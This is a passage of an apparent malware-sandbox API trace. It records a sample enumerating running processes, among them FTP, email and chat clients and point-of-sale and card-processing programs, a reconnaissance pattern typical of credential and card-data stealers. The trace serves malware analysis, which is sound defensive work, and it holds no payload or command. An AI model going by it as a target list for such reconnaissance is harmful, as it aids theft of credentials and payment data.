hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.368] lstrlenW (lpString="explorer.exe") returned 12 [0050.369] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.369] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.369] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.370] lstrlenW (lpString="taskhost.exe") returned 12 [0050.370] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.370] lstrlenW (lpString="svchost.exe") returned 11 [0050.370] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.371] lstrlenW (lpString="taskeng.exe") returned 11 [0050.371] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.371] lstrlenW (lpString="taskhost.exe") returned 12 [0050.371] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.372] lstrlenW (lpString="svchost.exe") returned 11 [0050.372] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0050.372] lstrlenW (lpString="sppsvc.exe") returned 10 [0050.372] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.373] lstrlenW (lpString="svchost.exe") returned 11 [0050.373] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0050.373] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0050.373] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0050.374] lstrlenW (lpString="smsvhskate.exe") returned 14 [0050.374] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0050.374] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0050.374] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0050.375] lstrlenW (lpString="patient latin.exe") returned 17 [0050.375] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0050.375] lstrlenW (lpString="barbados.exe") returned 12 [0050.375] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0050.376] lstrlenW (lpString="otthose.exe") returned 11 [0050.376] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0050.376] lstrlenW (lpString="suburban.exe") returned 12 [0050.376] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0050.673] lstrlenW (lpString="examination.exe") returned 15 [0050.673] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0050.674] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0050.674] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0050.674] lstrlenW (lpString="madrid.exe") returned 10 [0050.675] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0050.675] lstrlenW (lpString="measurerush.exe") returned 15 [0050.675] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0050.676] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0050.676] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0050.676] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0050.676] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0050.677] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0050.677] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0050.677] lstrlenW (lpString="jessefun.exe") returned 12 [0050.677] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0050.678] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0050.678] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0050.678] lstrlenW (lpString="sellers.exe") returned 11 [0050.678] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0050.679] lstrlenW (lpString="gras hair.exe") returned 13 [0050.679] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0050.679] lstrlenW (lpString="acquisitions.exe") returned 16 [0050.679] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0050.680] lstrlenW (lpString="starscondos.exe") returned 15 [0050.680] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0050.680] lstrlenW (lpString="3dftp.exe") returned 9 [0050.681] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0050.681] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0050.681] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0050.681] lstrlenW (lpString="alftp.exe") returned 9 [0050.682] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0050.682] lstrlenW (lpString="barca.exe") returned 9 [0050.682] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0050.683] lstrlenW (lpString="bitkinex.exe") returned 12 [0050.683] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0050.683] lstrlenW (lpString="coreftp.exe") returned 11 [0050.683] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0050.684] lstrlenW (lpString="far.exe") returned 7 [0050.684] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0050.684] lstrlenW (lpString="filezilla.exe") returned 13 [0050.684] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0050.685] lstrlenW (lpString="flashfxp.exe") returned 12 [0050.685] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0050.685] lstrlenW (lpString="fling.exe") returned 9 [0050.685] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0050.686] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0050.686] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0050.687] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0050.687] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0050.688] lstrlenW (lpString="icq.exe") returned 7 [0050.688] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0050.688] lstrlenW (lpString="leechftp.exe") returned 12 [0050.688] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0050.689] lstrlenW (lpString="ncftp.exe") returned 9 [0050.689] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0050.690] lstrlenW (lpString="notepad.exe") returned 11 [0050.690] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0050.691] lstrlenW (lpString="operamail.exe") returned 13 [0050.691] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0050.692] lstrlenW (lpString="pidgin.exe") returned 10 [0050.692] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0050.693] lstrlenW (lpString="scriptftp.exe") returned 13 [0050.693] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0050.693] lstrlenW (lpString="skype.exe") returned 9 [0050.693] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0050.694] lstrlenW (lpString="smartftp.exe") returned 12 [0050.694] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0050.695] lstrlenW (lpString="thunderbird.exe") returned 15 [0050.695] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0050.696] lstrlenW (lpString="totalcmd.exe") returned 12 [0050.696] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0050.696] lstrlenW (lpString="trillian.exe") returned 12 [0050.696] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0050.697] lstrlenW (lpString="webdrive.exe") returned 12 [0050.697] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0050.698] lstrlenW (lpString="whatsapp.exe") returned 12 [0050.698] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0050.699] lstrlenW (lpString="winscp.exe") returned 10 [0050.699] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0050.699] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0050.699] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0050.700] lstrlenW (lpString="active-charge.exe") returned 17 [0050.700] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0050.701] lstrlenW (lpString="accupos.exe") returned 11 [0050.701] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0050.701] lstrlenW (lpString="afr38.exe") returned 9 [0050.702] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0050.702] lstrlenW (lpString="aldelo.exe") returned 10 [0050.703] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0050.703] lstrlenW (lpString="ccv_server.exe") returned 14 [0050.703] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0050.704] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0050.704] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0050.705] lstrlenW (lpString="creditservice.exe") returned 17 [0050.705] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0050.705] lstrlenW (lpString="edcsvr.exe") returned 10 [0050.705] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0050.706] lstrlenW (lpString="fpos.exe") returned 8 [0050.706] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0050.707] lstrlenW (lpString="isspos.exe") returned 10 [0050.707] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0050.707] lstrlenW (lpString="mxslipstream.exe") returned 16 [0050.707] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0050.708] lstrlenW (lpString="omnipos.exe") returned 11 [0050.708] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0050.709] lstrlenW (lpString="spcwin.exe") returned 10 [0050.709] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0050.937] lstrlenW (lpString="spgagentservice.exe") returned 19 [0050.937] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0050.938] lstrlenW (lpString="utg2.exe") returned 8 [0050.938] Process32NextW (in: hSnapshot=0x184, 